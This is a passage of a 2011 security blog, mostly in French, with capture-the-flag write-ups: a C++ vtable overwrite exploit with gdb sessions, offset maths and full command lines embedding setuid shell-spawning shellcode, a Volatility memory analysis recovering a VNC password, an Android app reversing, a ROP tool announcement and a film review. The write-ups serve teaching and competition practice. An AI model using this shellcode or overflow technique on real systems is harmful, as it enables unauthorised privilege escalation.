.text:0804896D                 mov     ebp, esp
.text:0804896F                 sub     esp, 58h
.text:08048972                 mov     eax, [ebp+value]
.text:08048975                 mov     [esp+0Ch], eax
.text:08048979                 mov     eax, [ebp+str]
.text:0804897C                 mov     [esp+8], eax
.text:08048980                 mov     dword ptr [esp+4], offset aUploading___SD ; "Uploading... [%s]: %d pts\n"
.text:08048988                 lea     eax, [ebp+buf]
.text:0804898B                 mov     [esp], eax      ; s
.text:0804898E                 call    _sprintf
.text:08048993                 mov     dword ptr [esp+8], 32h ; n
.text:0804899B                 lea     eax, [ebp+buf]
.text:0804899E                 mov     [esp+4], eax    ; buf
.text:080489A2                 mov     dword ptr [esp], offset s ; dest
.text:080489A9                 call    _memcpy
.text:080489AE                 mov     eax, [ebp+this]
.text:080489B1                 mov     eax, [eax]
.text:080489B3                 mov     edx, [eax]
.text:080489B5                 mov     dword ptr [esp+4], offset s
.text:080489BD                 mov     eax, [ebp+this]
.text:080489C0                 mov     [esp], eax
.text:080489C3                 call    edx
.text:080489C5                 mov     eax, [ebp+this]
.text:080489C8                 mov     [esp], eax
.text:080489CB                 call    send_points
.text:080489CB vuln            endp
.text:080489CB
.text:080489D0 ; ---------------------------------------------------------------------------
.text:080489D0                 leave
.text:080489D1                 retn

On a les choses suivantes:
sprintf(buf, "Uploading... [%s]: %d pts\n", argv[1], atoi(argv[2]));
memcpy(s, buf, 50);
this->ptr->fct(s); // avec fct normalement égal à l'adresse de show_string()
send_points(this);

On a les variables suivantes:
buf = buffer local de 50 octets
s = buffer global

Donc la vulnérabilitée se trouve au niveau du sprintf() qui overflow sur une partie de la stack et qui permet donc de re-écrire en autre this.
On va re-écrire this et pouvoir se crafter une vtable dans le buffer global, ça permet de bypasser l'ASLR sans souci.

Je parle bien entendu de cette partie:
.text:080489AE                 mov     eax, [ebp+this]
.text:080489B1                 mov     eax, [eax]
.text:080489B3                 mov     edx, [eax]
[...]
.text:080489C3                 call    edx

Exploitation in progress ...

On va chercher à connaître l'offset après lequel on re-écrit this.
$ ssh cpp1_135@a5.amalgamated.biz
cpp1_135@a5.amalgamated.biz's password: 
Linux a5 2.6.32-5-686-bigmem #1 SMP Tue Mar 8 22:14:55 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 25 08:44:32 2011 from XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
cpp1_135@a5:~$ ls='ls --color -lash'
cpp1_135@a5:~$ cd /opt/pctf/cpp1/
cpp1_135@a5:/opt/pctf/cpp1$ ls
total 20K
4.0K drwxr-x--- 2 root cpp1users 4.0K Apr 20 20:48 .
4.0K drwxr-xr-x 9 root root      4.0K Apr 21 12:24 ..
8.0K -rwxr-sr-x 1 root cpp1key   4.9K Apr 20 20:44 first_cpp
4.0K -rw-r----- 1 root cpp1key     27 Apr 15 19:35 key
cpp1_135@a5:/opt/pctf/cpp1$ gdb -q ./first_cpp 
Reading symbols from /opt/pctf/cpp1/first_cpp...(no debugging symbols found)...done.
(gdb) r `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10
Starting program: /opt/pctf/cpp1/first_cpp `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10

Program received signal SIGSEGV, Segmentation fault.
0x080489b1 in ?? ()
(gdb) i r
eax            0x35624134 895631668
ecx            0x0 0
edx            0x0 0
ebx            0xb775eff4 -1217007628
esp            0xbfed57f0 0xbfed57f0
ebp            0xbfed5848 0xbfed5848
esi            0x0 0
edi            0x0 0
eip            0x80489b1 0x80489b1
eflags         0x210207 [ CF PF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/10i $eip
0x80489b1: mov    (%eax),%eax
0x80489b3: mov    (%eax),%edx
0x80489b5: movl   $0x8049dc0,0x4(%esp)
0x80489bd: mov    0x8(%ebp),%eax
0x80489c0: mov    %eax,(%esp)
0x80489c3: call   *%edx
0x80489c5: mov    0x8(%ebp),%eax
0x80489c8: mov    %eax,(%esp)
0x80489cb: call   0x8048870
0x80489d0: leave  
(gdb) 

this pointant vers une valeur invalide, on trigger notre segfault :).

Avec le pattern on obtient vite l'offset:
~/repos/msf3$ tools/pattern_offset.rb `printf "\x34\x41\x62\x35"`
44

On doit d'abord faire de petits calculs d'offset pour savoir où se trouve notre chaîne:
0x08049DC0 => addresse du buffer global contenant notre chaîne entière
// addresse de la string qu'on soumet à l'application
// strlen("Uploading...") == 14
0x08049DC0 + 14 = 0x08049DCE
// addresse où se trouve notre this
0x08049DCE + 44 = 0x08049DFA


On va maintenant pouvoir pawn le challenge comme il faut, pour celà, je vais vous montrer 2 patterns d'attaques j'ai utilisé pour ce faire.

On a this->ptr->fct(), et on contrôle this (et donc les autres pointeurs).
On peut exploiter le challenge en utilisant le code suivante:
[jump code (7 bytes)] [ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ junk (29 bytes) ] [ this (4bytes) ] [ payload ]
<--------------------------------------------------------------------------------><----------------><--------->
                    44 bytes                                                      |    4 bytes     |   ?
this = 0x08049dd5 = address de ptr
ptr  = 0x08049dd9
fct  = 0x08049dce

Je vais utiliser la payload suivante (bash -p):
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

./first_cpp `python -c 'print "\x89\xe0\x83\xc0\x78\xff\xe0" + "\xd9\x9d\x04\x08" + "\xce\x9d\x04\x08" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa" + "\xd5\x9d\x04\x08" + "\x90" * 128 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'` 10

Le jump code est le suivante:
BITS 32

mov eax, esp
add eax, 120
jmp eax

Avec ce pattern on saute sur la stack pour exécuter notre code.

Je voulais un pattern un peu plus propre n'ayant pas à overflow trop la stack.
Pattern plus propre permettant d'avoir tout dans le buffer global:
[ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (5 bytes)]
this = 0x08049dce = address of ptr
ptr  = 0x08049dd2
fct  = 0x08049dd6

En vrai en stack on a la chose suivante:
[ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (13 bytes)] [ this (4bytes) ] [ payload2 ]
this = 0x08049dce = address of ptr
ptr  = 0x08049dd2
fct  = 0x08049dd6

$ ./first_cpp `python -c 'print "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 13 + "\xce\x9d\x04\x08"'` 10
$ cat key
Virtual_function_is_Virtue

Dans le buffer global on a ainsi l'équivalent suivant:
global_buffer = "Uploading..." + "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 5

Et voilà, pawned,

Conclusion

On a pu voir que la mauvaise utilisation de fonctions dangereuses et l'utilisation de variables globales peut rendre une exploitation de vtable et vptr plutôt possible :).

J'espère que ça vous a plu :),

m_101

lundi 4 avril 2011

Prequals NDH2011: Forensic100 (Windows Memory Analysis)

Hi!

Today we are going to look after the forensic 100 challenge of the prequals :).
We were offered a memory dump to analyze.

Tools

The needed tools for the analysis are basically the following:
Volatility: Windows Memory Analysis
VolReg: Volatility plugin for registry analysis
VNC Password Dumper: VNC Password decrypter

Analysis

We first need to know what operating system dump we are analysing:
$ python ./volatility ident -f ../Desktop/dump.raw 
              Image Name: ../Desktop/dump.raw
              Image Type: Service Pack 2
                 VM Type: pae
                     DTB: 0xae2000
                Datetime: Thu Mar 10 14:28:56 2011


Ok the dump is recognized to be a Windows XP SP2 RAM dump (you can check it using strings ;)).
We are after a VNC password but we would like to know which VNC software is used:
$ python ./volatility pslist -f ../Desktop/dump.raw 
Name                 Pid    PPid   Thds   Hnds   Time  
System               4      0      53     258    Thu Jan 01 00:00:00 1970  
smss.exe             544    4      3      21     Thu Mar 10 13:02:27 2011  
csrss.exe            608    544    11     319    Thu Mar 10 13:02:29 2011  
winlogon.exe         632    544    19     440    Thu Mar 10 13:02:29 2011  
services.exe         684    632    16     338    Thu Mar 10 13:02:30 2011  
lsass.exe            696    632    19     328    Thu Mar 10 13:02:30 2011  
svchost.exe          860    684    17     210    Thu Mar 10 13:02:31 2011  
svchost.exe          928    684    9      232    Thu Mar 10 13:02:31 2011  
svchost.exe          1020   684    59     1148   Thu Mar 10 13:02:31 2011  
svchost.exe          1064   684    4      74     Thu Mar 10 13:02:31 2011  
svchost.exe          1300   684    14     203    Thu Mar 10 13:02:33 2011  
spoolsv.exe          1472   684    10     108    Thu Mar 10 13:02:34 2011  
explorer.exe         1580   1564   11     446    Thu Mar 10 13:02:34 2011  
ctfmon.exe           1664   1580   1      66     Thu Mar 10 13:02:35 2011  
alg.exe              500    684    6      104    Thu Mar 10 13:02:58 2011  
wscntfy.exe          532    1020   1      36     Thu Mar 10 13:02:59 2011  
winvnc4.exe          1696   684    3      67     Thu Mar 10 13:09:47 2011  
mmc.exe              1512   1580   7      241    Thu Mar 10 13:28:14 2011  
wmiprvse.exe         1460   860    13     204    Thu Mar 10 13:28:33 2011

We now know that WinVNC 4 was used, at this point we can dump the memory of the process and the executable itself. But no point, we need to know the registry key under which the password might be stored:
$ strings -e l ../Desktop/dump.raw | grep -i vnc | grep -i hkey
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4

Now on with the registry analysis, we run hivescan to get hive offsets.
$ python ./volatility hivescan -f ../Desktop/dump.raw Offset          (hex)          
44759904        0x2aafb60      
44765192        0x2ab1008      
47600264        0x2d65288      
49462112        0x2f2bb60      
57268056        0x369d758      
117583880       0x7023008      
117586784       0x7023b60      
138480480       0x8410b60      
140337160       0x85d6008      
144967512       0x8a40758      
145000296       0x8a48768      
146788360       0x8bfd008      
167239688       0x9f7e008      

We use the first offset with hivelist to show where hives are located at.
$ python ./volatility hivelist -f ../Desktop/dump.raw -o 0x2aafb60
Address      Name
0xe1809008   \Documents and Settings\eleve\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1986008   \Documents and Settings\eleve\NTUSER.DAT
0xe17a9768   \Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe179b758   \Documents and Settings\LocalService\NTUSER.DAT
0xe1770008   \Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe175fb60   \Documents and Settings\NetworkService\NTUSER.DAT
0xe13ffb60   \WINDOWS\system32\config\software
0xe14ab008   \WINDOWS\system32\config\default
0xe14abb60   \WINDOWS\system32\config\SAM
0xe14e4758   \WINDOWS\system32\config\SECURITY
0xe12e8288   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]

Since we now that we are interested by "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4", we are going to work directly with the SOFTWARE hive.
$ python ./volatility printkey -f ../Desktop/dump.raw -o 0xe13ffb60 "RealVNC\\WinVNC4"
Key name: WinVNC4 (Stable)
Last updated: Thu Mar 10 13:10:51 2011

Subkeys:

Values:
REG_BINARY Password   : 
0000   DA 6E 31 84 95 77 AD 6B                            .n1..w.k
 (Stable)
REG_SZ    SecurityTypes : VncAuth (Stable)
REG_SZ    ReverseSecurityTypes : None (Stable)
REG_DWORD QueryConnect : 0 (Stable)
REG_DWORD QueryOnlyIfLoggedOn : 0 (Stable)

Here we are, we got the encrypted form of the password, now is time to decrypt it using vncpwdump:

$ wine vncdump/vncpwdump.exe -k "DA6E31849577AD6B"

VNCPwdump v.1.0.6 by patrik@cqure.net
-------------------------------------
Password: secretpq

As a bonus, we can also decrypt it using Cain&Abel:

Hope you liked it,

m_101

- Plugins: Volatility plugins
- Tool: Memoryze
- Write-up: Forensic100

Prequals NDH2011: RCE200 (Android)

On va commencer par l'épreuve de reversing Android.
C'était la première fois que je jouais avec de l'Android, seems fun :).

Introduction

On avait à disposition une simple application dans laquelle il nous fallait parler.

Au lancement de l'application, nous somme accueillis par le screen suivant (sans le petit texte que j'ai ajouté :)):

 Il fallait prononcer un mot correctement pour obtenir le flag:
Non ce n'est pas le flag :).
J'ai pas réussi à l'obtenir par ce biais.

Pour ce challenge, plusieurs tools étaient disponibles, tel que Dex2Jar ou APKTool par exemple.
Ils ont plusieurs avantages et inconvénients, Dex2Jar nous sort du bytecode Java qu'on peut décompiler avec JD mais nous n'avons pas la possibilitée de facilement modifier l'APK.
APKTool nous permet de modifier l'APK et de le reconstruire correctement, par contre pas forcément évident à trouver la routine qui nous intéresse (à coup de grep ça peut se faire :)).

J'ai fais usage de la premire méthode pour analyser le programme:
dex2jar.sh RCE200.apk
jd-gui RCE200.apk.dex2jar.jar

Et le deuxième tool pour ajouter mon texte et patcher une condition afin de montrer un hash tous le temps (normalement il doit y avoir un affichage que lorsque le bon mot est prononcé).
Je me suis donc fais 2 helpers pour manipuler facilement le dump smali obtenu:

depack.sh
#!/bin/sh

cd apktool
java -jar apktool.jar d ../$1
mv `echo $1 | cut -d '.' -f 1` ../

pack.sh
#!/bin/sh

# if android key does not exist, we create one
if [ ! -f ~/keystore-android ]
then
    keytool -genkeypair -v -keystore ~/keystore-android -alias rce200 -keyalg RSA -keysize 2048
fi

#
if [ -f $1.aligned.apk ]
then
    rm $1.aligned.apk
fi

cd apktool
export PATH=./:$PATH
java -jar apktool.jar b ../$1
cd ../
jarsigner -verbose -keystore ~/keystore-android $1/dist/$1.apk rce200
cp $1/dist/$1.apk ./$1.rebuilt.apk
./zipalign -v 4 $1.rebuilt.apk $1.aligned.apk
rm $1.rebuilt.apk


Let's reverse it!

Après avoir transformer notre .apk and .jar, nous ouvrons celui-ci avec jd-gui et on se retrouve avec 4 sources .java: ReverseMe.java, a.java, b.java et c.java.

Le premier fichier (ReverseMe.java):

package ndh.prequals.rce;

import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.List;

public class ReverseMe extends Activity
{
  private a a = null;
  private TextView b = null;

  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    if ((paramInt1 == 1234) && (paramInt2 == -1))
    {
      ArrayList localArrayList = paramIntent.getStringArrayListExtra("android.speech.extra.RESULTS");
      if ((!localArrayList.isEmpty()) && (a.b((String)localArrayList.get(0))))
      {
        TextView localTextView = this.b;
        String str = a.a((String)localArrayList.get(0));
        localTextView.setText(str);
      }
    }
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
  }

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    Button localButton = (Button)findViewById(2131034114);
    TextView localTextView = (TextView)findViewById(2131034113);
    this.b = localTextView;
    PackageManager localPackageManager = getPackageManager();
    String str1 = c.d();
    Intent localIntent = new Intent(str1);
    if (localPackageManager.queryIntentActivities(localIntent, 0).size() != 0)
    {
      String str2 = c.b();
      String str3 = Build.PRODUCT;
      if (!str2.equals(str3))
      {
        b localb = new b(this);
        localButton.setOnClickListener(localb);
      }
    }
    a locala = new a();
    this.a = locala;
  }
}

onCreate() va mettre en place les différents éléments de l'application à sa création comme l'image, le texte et le button.
onActivityResult() est le handler qui va afficher notre flag si nous prononçons le bon mot. (Patchez la condition pour toujours avoir un hash d'affiché :)).

Le deuxième fichier (a.java):

package ndh.prequals.rce;

import android.os.Build;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public final class a
{
  public static String a(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.e());
      byte[] arrayOfByte = paramString.getBytes();
      localMessageDigest.update(arrayOfByte);
      localObject1 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      int i = 0;
      int j = localObject1.length;
      if (i >= j)
      {
        localObject1 = localStringBuffer1.toString();
        return localObject1;
      }
      String str;
      for (Object localObject2 = Integer.toHexString(localObject1[i] & 0xFF); ; localObject2 = str)
      {
        if (((String)localObject2).length() >= 2)
        {
          StringBuffer localStringBuffer2 = localStringBuffer1.append((String)localObject2);
          i += 1;
          break;
        }
        str = "0" + (String)localObject2;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        Object localObject1 = null;
    }
  }

  public static boolean b(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.c());
      byte[] arrayOfByte1 = paramString.getBytes();
      localMessageDigest.update(arrayOfByte1);
      byte[] arrayOfByte2 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      String str1 = c.b();
      String str2 = Build.PRODUCT;
      if (str1.equals(str2))
        StringBuffer localStringBuffer2 = localStringBuffer1.append(65);
      int i = 0;
      int j = arrayOfByte2.length;
      if (i >= j)
      {
        String str3 = localStringBuffer1.toString();
        String str4 = c.a();
        bool = str3.equals(str4);
        return bool;
      }
      String str5;
      for (Object localObject = Integer.toHexString(bool[i] & 0xFF); ; localObject = str5)
      {
        if (((String)localObject).length() >= 2)
        {
          StringBuffer localStringBuffer3 = localStringBuffer1.append((String)localObject);
          i += 1;
          break;
        }
        str5 = "0" + (String)localObject;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        boolean bool = false;
    }
  }
}

La méthode a() nous renvoi le hash sha1 de la chaine qu'on met en paramètre et b() nous renvoi un hash MD5.

Le troisième fichier (b.java):
package ndh.prequals.rce;

import android.content.Intent;
import android.view.View;
import android.view.View.OnClickListener;

final class b
  implements View.OnClickListener
{
  b(ReverseMe paramReverseMe)
  {
  }

  public final void onClick(View paramView)
  {
    ReverseMe localReverseMe = this.a;
    if (paramView.getId() == 2131034114)
    {
      String str = c.d();
      Intent localIntent1 = new Intent(str);
      Intent localIntent2 = localIntent1.putExtra("android.speech.extra.LANGUAGE_MODEL", "free_form");
      Intent localIntent3 = localIntent1.putExtra("android.speech.extra.PROMPT", "Enter password");
      localReverseMe.startActivityForResult(localIntent1, 1234);
    }
  }
}

Cette classe a une unique méthode qui va lancer la boîte de dialogue de reconnaissance vocale.

Le dernier fichier (c.java):
package ndh.prequals.rce;

public final class c
{
  private static byte[] a = { 90, 5, 88, 88, 13, 13, 90, 90, 10, 4, 9, 11, 93, 90, 11, 15, 93, 95, 5, 93, 5, 8, 8, 88, 90, 95, 9, 14, 90, 8, 13, 94 };
  private static byte[] b = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
  private static byte[] c = { 113, 120, 9 };
  private static byte[] d = { 93, 82, 88, 78, 83, 85, 88, 18, 79, 76, 89, 89, 95, 84, 18, 93, 95, 72, 85, 83, 82, 18, 110, 121, 127, 115, 123, 114, 117, 102, 121, 99, 111, 108, 121, 121, 127, 116 };
  private static byte[] e = { 111, 116, 125, 17, 13 };

  public static String a()
  {
    return a(a);
  }

  private static String a(byte[] paramArrayOfByte)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte.length];
    int i = 0;
    while (true)
    {
      int j = paramArrayOfByte.length;
      if (i >= j)
        return new String(arrayOfByte);
      int k = (byte)(paramArrayOfByte[i] ^ 0x3C);
      arrayOfByte[i] = k;
      i += 1;
    }
  }

  public static String b()
  {
    return a(b);
  }

  public static String c()
  {
    return a(c);
  }

  public static String d()
  {
    return a(d);
  }

  public static String e()
  {
    return a(e);
  }
}
Ici nous avons affaire à plusieurs chaînes de caractères obfusquée par un XORing avec une clé de 0x3C.

J'ai coder un rapide utilitaire pour me dé-obfusquer ces chaînes:
// author : m_101
// licence: beerware
// year   : 2011
// ctf    : ndh2011 prequals

#include <stdio.h>
#include <stdlib.h>

void decrypt(unsigned char *encrypted) {
    size_t idxEnc;
    int c;

    printf("Decrypted: '");
    for (idxEnc = 0; encrypted[idxEnc] != 0; idxEnc++) {
        c = encrypted[idxEnc] ^ 0x3c;
        printf("%c", c); 
    }
    printf("'\n");
}

int main (int argc, char *argv[]) {
    unsigned char a[] = {
        90, 5, 88, 88, 13, 13, 90, 90,
        10, 4, 9, 11, 93, 90, 11, 15,
        93, 95, 5, 93, 5, 8, 8, 88,
        90, 95, 9, 14, 90, 8, 13, 94,
        0
    };
    unsigned char b[] = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
    unsigned char c[] = { 113, 120, 9 };
    unsigned char d[] = {
        93, 82, 88, 78, 83, 85, 88, 18,
        79, 76, 89, 89, 95, 84, 18, 93,
        95, 72, 85, 83, 82, 18, 110, 121,
        127, 115, 123, 114, 117, 102, 121, 99,
        111, 108, 121, 121, 127, 116,
        0
    };
    unsigned char e[] = { 111, 116, 125, 17, 13, 0 };

    decrypt(a);
    decrypt(b);
    decrypt(c);
    decrypt(d);
    decrypt(e);


    return 0;
}

Vous obtenez ceci:
$ ./decode
Decrypted: 'f9dd11ff6857af73ac9a944dfc52f41b'
Decrypted: 'google_sdk|'
Decrypted: 'MD5'
Decrypted: 'android.speech.action.RECOGNIZE_SPEECH'
Decrypted: 'SHA-1'

On trouve un hash MD5, tiens tiens ...
Une petite recherche google nous donne ceci:
md5(salope) = f9dd11ff6857af73ac9a944dfc52f41b

Donc au final, l'application va faire un hash sha1 du mot qu'on prononce et l'afficher si celui-ci est correct.
Je n'ai pas réussi à l'obtenir par ce biais, mais nous savons que c'est un sha1.
$ printf "salope" | openssl dgst -sha1
913beccad686975f8c686d9b3b1ee6bb97c22d6f

Et voilà, done :).

J'espère que ce rapide tour d'horizon du reversing Android vous a plut.
J'ai mis plus de doc en lien si vous voulez approfondir ;).

Je n'ai pas encore fini de reverser le RCE300 par contre, donc l'article de reversing NDS va attendre un peu.

Cheers,

m_101

- ReverseMe: RCE200
- Tool: dex2jar
- Tool: apktool
- Doc: DalvikVM
- Doc: dalvik opcodes
- Doc: Reversing Android par virtualabs
- Doc: Primer on Android OS Reversing by ARTeam

Prequals NDH2011

Hello!

Ce week-end s'est déroulé les prequals de la NDH2011 (de Vendredi soir minuit à Dimanche soir minuit).
Les challenges comprenaient les catégories suivantes: crypto, web, reversing et forensic.
A notre grande surprise, il n'y avait pas d'exploitation comme à notre habitude, nous avons donc dû nous rabattre sur d'autres joix binaires.

Voici donc les différentes épreuves auquelles nous avons eu droit.

Crypto:
crypto 100: Un cryptext
crypto 200: On avait une image JPG cryptée et un code de génération de password (fallait bruteforcer)
crypto 300: Un soft python avec un échange de clé entre client et serveur, il faut pouvoir récupérer la clé

Forensic
forensic 100: Analyse d'un dump de mémoire dynamique
forensic 200: Cracking d'une base Active Directory NTDS.DIT (avec le system qui va bien)
forensic 300: Analyse d'un raw dump contenant potentiellement des partitions NTFS ou exFAT ou autre

Web: Aucune idée, je n'y ai pas touché du tout

Reversing
rce 100: Programme Windows à déplomber
rce 200: Application Android à déplomber
rce 300: Application NDS à déplomber

C'était en somme toute des prequals assez sympa, à refaire :).
Bravo à la team de sysdream pour l'organisation de leur premier prequals ^^.



J'écrirais quelques write-ups dans les articles suivants.

m_101

dimanche 13 mars 2011

[Tool] ROPit v0.1 alpha 1

[UPDATE: 14/03/2011]:
- Mise en place d'un GIT
- Ajout d'explications pour l'installation

Salut les gens!

Mon dernier article commence déjà à remonter :).

Introduction

Aujourd'hui j'ai le plaisir de vous présenter un tool de ma conception.
Il est encore extremement buggué, pas pour rien que je considère ça comme une alpha ^^.
C'est un tool de ropping tout ce qu'il y a de plus classique.

So let's ROPit!

Ce tool va juste construire une liste de gadgets à partir d'un exécutable PE ou d'un fichier raw (assemblé directement avec nasm par exemple).

Il génère un peu plus de gadgets que pvefindaddr, à voir si c'est utile.

La génération des gadgets se déroule en plusieurs étapes:
- recherches de toutes les instructions "utiles" avec un algorithme itératif de backtracking de 32 instructions en arrière maximum
- construction des gadgets avec les instructions trouvées
Les gadgets sont limités à 8 instructions volontairement.

J'ai codé ce tool pour la simple raison que je trouvais les tools disponibles assez lents vu que codés en python (ROPme, pvefindaddr et DEPlib). Et puis c'est assez marrant à coder :).

Par ailleurs, si quelqu'un a une bibliothèque de SAT/SMT solver, ça pourrait être utile ;).

Installation

Pour compiler et installer le tool vous aurez besoin des dépendances suivantes:
sudo apt-get install libdisasm-dev libpcre3-dev libtool

A partir du repository GIT:
La première fois:
git clone https://github.com/m101/ropit
cd ropit
git submodule init
git submodule update --recursive
make

Les fois suivantes:
cd ropit
git pull
git submodule update --recursive
make

Bugs connus

FIXED (GIT): Le tool ne génère aucuns gadgets pour un exécutable trop gros. En effet, la gestion mémoire n'est pas encore au top, je voulais séparer la logique de l'affichage mais ça semble assez compromis.


Testé uniquement sur architecture 64 bits pour l'instant, je testerais sur 32 bits une fois les fonctions de bases implémentées correctement.

Le tool crash lorsqu'on essaie de chercher des gadgets dans un fichier ELF 32 bits sur une architecture 64 bits (fonctionne parfaitement sous architecture 32 bits).

La version 0.1 alpha 2 sortira un peu plus tard, le temps que j'implémente les différents formats de fichiers visés et que je teste sous 32 bits :).

Si jamais vous trouvez un crash ou un bug d'une quelconque nature, vous pouvez toujours contribuer en soumettant des rapports de crashs comme décrit ici: Debugging Program Crash.

Conclusion

Bon ok cool on a des tools de ropping ... mais vous les trouvez pas trop limités? :)
Si vous voulez contribuer, vous savez où me joindre :).

Cheers,

m_101

- link: ROPit v0.1 alpha 1
- repos GIT: https://github.com/m101/ropit

mercredi 2 mars 2011

[Film] Sneakers

Bonjour,

Pour changer un peu des posts techniques, une petite review d'un film qui m'a bien surpris malgré son relatif age: Sneakers (qui est sorti en 1992). Il est peu cité à contrario des films "Hackers", Cybertraque ou Antitrust.
Ce qui m'intéresse avant tout est bien entendu les détails qui font que le film peut être considéré comme un film de "hackers" ou autres passionnés de sécurités les plus diverses (physique, humaine, ordinateurs, etc).

Histoire



C'est l'histoire d'un physical pentester du nom de Martin Bishop/Brice (Robert Redford) qui se voit entraîné dans une spirale infernale d'espionnage, de contre-espionnage, de trahison et bien sûr d'ordinateurs et cryptographie.

De par les capacitées de son équipe à pouvoir s'introduire dans les batiments, il se voit offrir une proposition de job par la "NSA". Le but est de récupérer un mystérieux boitier noir.

Je ne vous en dis pas plus au risque de spoil le film ;).

Déroulement du film

Le film débute par une scène où on voit le héros pirater des comptes bancaires avec son pote, la partie hacking se résume à faire un appel téléphonique rien de plus, rien de moins.
Aucune surprise à ce niveau, il fallait pas s'attendre à plus.

A la suite de leurs piratages, son ami se fait interpellé tandis que lui part libre comme le vent.

Par contre, au fur et à mesure du déroulement du film, une bonne part est mise au physical pentesting.
Certaines techniques étaient/sont réelles.

Les techniques

Voilà les choses que j'ai spotté:
1 - Trashing: récupération d'informations dans la poubelle d'autrui
2 - Vidéosurveillance: plaque d'immatriculation, allées et venues, bureaux de responsables, etc
3 - Sound analysis: A partir de son, déterminer la localisation et/ou l'utilité des pièces
4 - Voice recognition bypass: création de phrases en extrayant des mots de conversations avec la cible
5 - Hijack du système de vidéo surveillance
6 - Image analysis pour choper le password de quelqu'un
7 - Motion detector bypass
8 - Proxyfying: chaining de plusieurs proxys (par contre voir le tracing en temps réel euh ... non)
9 - Des bases en social engineering: fake advert (mail crafté ou autre)
10 - Modem remote log in
11 - Diversion: se faire passer pour quelqu'un d'autre pour rentrer dans un immeuble

Pros

- Techniques de physical pentesting
- Bien rythmé
- Une entrevue du danger de systèmes non sécurisés

Cons

- Histoire (presque) bidon

Conclusion

Mine de rien, le meilleur film de physical pentesting que j'ai vu jusqu'à présent.
Dans l'ensemble le film est plutôt bon, de quoi se détendre tout en restant un peu dans son domaine ;).

Have fun,

m_101

- Lien: Sneakers on IMDB